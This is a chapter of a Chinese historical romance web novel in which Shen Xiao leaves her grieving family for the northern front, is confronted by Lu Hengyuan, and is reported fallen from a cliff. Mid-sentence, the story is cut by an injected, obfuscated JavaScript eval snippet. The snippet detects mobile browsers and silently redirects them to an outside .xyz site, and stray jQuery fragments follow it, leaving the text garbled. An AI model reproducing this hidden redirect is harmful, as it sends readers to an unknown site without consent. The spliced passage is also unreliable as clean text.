“小姐！”云岫在沈萧身后，为她整理出发前的行装，声音哽咽，“您当真要一个人走？不要云岫跟随吗？”


    沈萧转过身，嘴角勾勒出一个温柔但疲惫的微笑，用未受伤的左手抚上她泪痕斑驳的脸颊：“云岫，北境苦寒，凶险难测，步步杀机，你不必跟我去。在家替我好生照料母亲和嫂嫂。待我凯旋，定为你寻户好人家……”


    “啊，若你已有心上人，尽可与我或直接与我母亲言明，她自会替你置办嫁妆……只是……”沈萧微顿，眼底掠过一丝黯然，“我此去北境，一时不在京中，怕是不能亲自送你出阁了。”


    云岫扑通一声跪倒在地，额头重重叩在冰凉的地砖上：“小姐！奴婢心中并无什么心上人，更是不想嫁。沈家待我恩重如山！奴婢从小因是女儿身被遗弃街头，是老爷和夫人心善，将我抱回府中养大成人。更是小姐不嫌奴婢粗笨，一直留我在身边做伴……”


    她又一次重重叩下头去，肩头因哭泣而耸动，“都怪云岫不中用！当年小姐习武，我身子骨弱，根骨不佳，跟不上也不能坚持习武。若当年我也能像陆大人那般心志坚韧，刻苦习练，如今说不定真能陪在小姐身边，一同上阵杀敌，共赴北境！”


    沈萧心头一酸，伸出左手把她扶起：“傻姑娘，尽说傻话。你的心，我懂，也领了。只是此行北境，非比寻常，凶险环伺，我自身尚且难保，又岂能护得了其他人周全？”


    她深吸一口气，将心口翻涌思愁压下，转回身，“快与我更衣吧。莫要误了出发的时辰。”


    云岫抹了一把脸上的泪水，再次在身后为沈萧穿衣整装，动作轻柔仔细，仿佛要将所有的不舍都整理进这身行头里。


    整装已毕，只待出发。沈萧拉开房门，西厢房外的庭院里，不知何时已站满了人。


    今日无雪无风，可凛冽的寒气依旧刺骨，积雪在地面覆了厚厚一层，映着天光，白得晃眼。


    沈老夫人被幼子沈砚小心搀扶着，立于众人之前，眉目间有数不尽的悲伤，但仍作坚韧。她深深地望着眼前一身火红劲装的女儿沈萧。


    一个恍惚，老母亲好似回到沈萧年少时，整日调皮，爱惹是非的时候。那些时，她也总是这样堵在门口，只是今日不同以往，她不是来堵门拦人，而是来送行，送她的唯一女儿奔赴九死一生的沙场。


    沈老夫人颤巍巍地将双手托着的一副银色软甲，向前递出。沈萧见状，疾步下阶，扶住母亲。


    “宣儿！”沈老夫人声音像哭过，有些沙哑，“这副软甲，是你太祖父随太祖皇帝开疆拓土时所传下的。世代供奉于祠堂，你父亲与兄长们，每逢出征必先行祭拜，是我沈家世代忠烈、战魂的象征。今日，娘将它请出祠堂，交予你手。望你此去北境，得列祖列宗护佑，逢凶化吉，顺遂凯旋。”


    沈萧低眉，双手接过那副的软甲，指腹摩挲过甲片上的战损痕迹。再抬眸时，眼中水光盈盈，可她倔强，硬生生兜住所有水光，不溢出一滴。


    “宣儿！”一旁刚生产完，身体还虚弱的大嫂，在侍女的搀扶下艰难上前。


    “嫂嫂！”沈萧连忙伸手，一把稳稳扶住。


    “宣儿！”大嫂一声声唤着，喉咙哽咽，像是有千言万语，却始终不畅快吐露，只是又一遍地唤，“宣儿。”泪珠簌簌从她脸颊滚落，滴答在莹莹白雪之上。


    “嫂嫂莫过于忧心。”沈萧看穿她所虑，将她的手托在手中软甲上，安抚，“大哥虽重伤昏迷，但性命已无碍。昨日张京年太医已抵达前线营中，妙手回春，稳住了大哥伤势。待我去到北境，”


    她顿了顿，斟酌着用词，“先将嫂嫂平安诞下皎皎的消息说与他听。大哥要是知道嫂嫂为她诞下一女，定会欢喜，伤势也会好得快些。我向嫂嫂保证，归来时，定让大哥好端端站于你面前。嫂嫂在家，莫要担忧，伤了身。”


    大嫂眼眶红得像抹了最艳丽的胭脂，美得惊心，也脆弱得令人心疼。她用力点头，唇瓣轻微颤抖，不再多言。


    一阵阵不断的啜泣声在大嫂身后传来。沈萧抬眼，目光落在那位早已哭到不成声的二哥青梅婉娘身上。


    “婉姐姐！”沈萧松开大嫂，上前拉住她抬起拭泪的手。


    “宣妹妹！”婉娘也拉住沈萧，因为哭泣，她肩头跟着耸动不停，“你二哥他……他……”


    “婉姐姐！”沈萧伸手将婉娘揽入怀中，不知用如何语言将她宽慰。二哥沈墨身陷敌手，断臂送来，生死难测。更有秦策、张坚在北境作祟，她沈萧如何夸得下海口，说二哥定会平遂的话。


    沈萧不言，只能拍抚着婉娘的后背，一遍遍低声重复：“婉姐姐不哭，婉姐姐不哭……”


    “宣妹妹！”婉娘从沈萧怀中抬起头，泪眼婆娑。她从怀中摸出一物，是那年上元夜，沈墨从北境带回送她的嵌着异色宝石的骨哨。她将它放入沈萧掌心，合拢她的手指。


    “姐姐知你不易，只求……只求你在北境见到阿墨，将这个交予他。告诉他，我会一直等着他回来。”


    沈萧看着掌中骨哨，心中难受至极，抬眸看进婉娘盈满泪水的眼底，即使心中对二哥生死万般无底，也只得重重点头应下。


    沈府朱漆大门，众人皆随沈萧而出。


    沈萧从家丁手中牵过马的缰绳，一个翻身，坐于马上。长发高束，红绫在发丝间飞扬，一身火红劲装，英姿飒爽，尽显将门风采。


    她勒转马头，在府门前空地上兜转一圈，最后一次回眸，将一众亲人望了一眼，然后猛地一夹马腹，清叱一声“驾！” 骏马扬蹄，一声嘶鸣，踏碎地上积雪，奔驰而去。


    沈老夫人追下石阶，站在之前沈萧上马的地方，遥望女儿远去的身影，无声垂泪。


    -


    打马疾驰过街，马蹄声碎，惹得京中百姓纷纷驻足侧目，议论纷纷。


    “快看！这不是沈家那位小姐，沈萧嘛。”


    “正是她咧！听闻她前两日自请褫夺后位，要代替弟弟沈砚出征北境了。”


    “唉，这姑娘才不过二十来岁吧，本在深宫享皇后尊荣，怎会落到这等地步……”


    “你这就不知了吧！自先帝在时，皇家便已忌惮沈家手握兵权，功高震主。前些年，又因少帝年幼，太后垂帘掌权，更闻先帝曾留下过密旨，所以才召沈家小姐沈萧入宫为后。名为恩宠，实为钳制北境沈家父子的一步棋。哎……如今北境传来，说是沈家父子死的死，伤的伤，恐怕……哎！”


    “嘘！！慎言！兄台！慎言啊！”


    沈萧耳若未闻，扬鞭策马，越过议论人群，直奔城门而去。


    行至即将离城的城门前，一顶玄色官轿穿行而出，稳稳落在她出城的路心，挡住了她的去路。沈萧瞳孔微凝，急勒缰绳。马儿受惊，前蹄高扬，发出一声嘶鸣长啸，堪堪停在那顶官轿前数尺。


    沈萧紧勒马头，兜转马身，目光冷冽如今日无风无雪但寒气逼人的天气，直直射向那顶拦路的官轿。


    轿帘微动，一只戴着墨玉扳指的手，轻轻挑起一角幕帘，露出帘后一张审视、沉沉的眉眼脸庞。


    陆恒渊！


    长街中央，两人一人攥紧缰绳立于马背上，一人端坐凝目于轿中，目光在空中相接，谁也不让谁的气势，谁也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16000155|177156||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不退让一步的决意。


    四周看热闹的行人越聚越多，将这官轿与马匹围得水泄不通，议论声更是此起彼伏，洋洋不断。


    -


    长街一侧，一家酒楼门前，那顶玄色官轿与沈萧的骏马已停妥。马儿鼻孔喷吐出白气，不耐烦地低头咀嚼着店小二殷勤投喂来的上等精料。


    酒楼二层，临街一面，宽阔雅座，陆恒渊与沈萧隔桌而坐，两厢无言，空气凝滞如冰。


    陆恒渊面色沉重，修长手指拈起桌上一只扣放的茶杯，放正。又从袖中取出一粒乌黑药丸，置杯中后，他提起手边茶壶，将滚烫白水注入。再抽出一根木筷，不疾不徐地搅拌起来。


    药丸在热水中缓缓化开，散出一股苦涩微辛的气味。


    “你可知，你请奏孤身北上，正给了那些想置你于死地的人，出手的绝佳机会？”陆恒渊视线从搅拌的木筷上移开，沉沉看向沈萧那张平静得近乎漠然的脸上，“为了摆脱我的随行，你竟甘愿冒此等奇险？”


    “陆大人，”沈萧迎上他逼视的目光，声音低沉平静得仿佛在议论别人的生死，“我的危险，不在于是独自一人前行还是率众，亦或是在去往北境途中，还是已至北境。只要我沈萧一日尚存，那些想除我沈家而后快的人，自会想尽一切办法，不择手段。”她微顿，用更加凌厉的目光直视陆恒渊，“倒是陆大人您，我与你，如今可还是同舟共济之人？”


    陆恒渊眉心一紧，余光不露痕迹地扫过楼下几个作寻常打扮，但形迹可疑的人。他们显然是宫里派来的眼线。陆恒渊收回视线，将手中那杯已搅拌化匀的药水，推至沈萧面前。


    “你觉得呢？”


    沈萧垂眸看了眼那杯深褐色的药，并不回答对方的问题：“这药今早云岫已掺入我温补汤中，与我服下，想必是昨日陆大人送我回去，走时的交代。真是劳陆大人费心了。”


    说着，她将药杯又端回陆恒渊身前桌上，动作干脆，“无论你我是否同舟，陆大人，望你此去北境之后，莫要处处掣我肘，逆我意。‘将在外，君命有所不受’，到时，我可不会如在京中这般，对你这样客气。”


    “茶，我不便再奉陪。”沈萧起身，身形如枪，笔直挺阔，“想必你今日早朝已奏请阻我孤身北上。也想必宫里那位，断没有准你的奏。如你所言，想置我于死地的人是不会错失此等良机的。你此来拦阻，是徒劳。”她目光掠过陆恒渊微沉的脸，“北路迢迢，我还要赶路……陆大人，请自重……好自为之。”


    沈萧言毕，错身离去。擦肩路过陆恒渊身侧时，陆恒渊扬手，一把攥住她左手手腕。


    “宣儿！”他低沉急促地叫人，恳求与焦灼被掩盖其中。


    沈萧身形一顿，随即用力一挣，将手腕生生从那炙热的掌中抽离出：“陆大人！这里哪有沈宣，只有太后封下的代将军，沈萧！”


    话音落，沈萧已快步下楼，穿过一楼桌椅食客，踏出大门，解开马绳，一跃上马，飞驰而去。


    二层，陆恒渊的手还悬在空中。他脸面如寒风霜雪打过，全无颜色，眸底一阵阵复杂情绪，在激烈翻涌。


    两日后，北上官道。朔风裹着雪粒子在空中乱卷，打在一行人脸上。


    陆恒渊策马疾驰在这片白茫茫雪域之上，眉心紧锁，周身一团戾气凝结不散。忽地，前方四匹快马迎面而来，临近时猛勒住缰绳。马蹄深陷雪泥，激起碎雪飞溅，马鼻中喷出阵阵白雾。


    “禀大人！”为首的探子滚鞍下马，惊惶禀报，“前方探报，沈小姐她……她于前日枯树崖遭遇伏击，不慎坠入悬崖，生死……生死未卜！”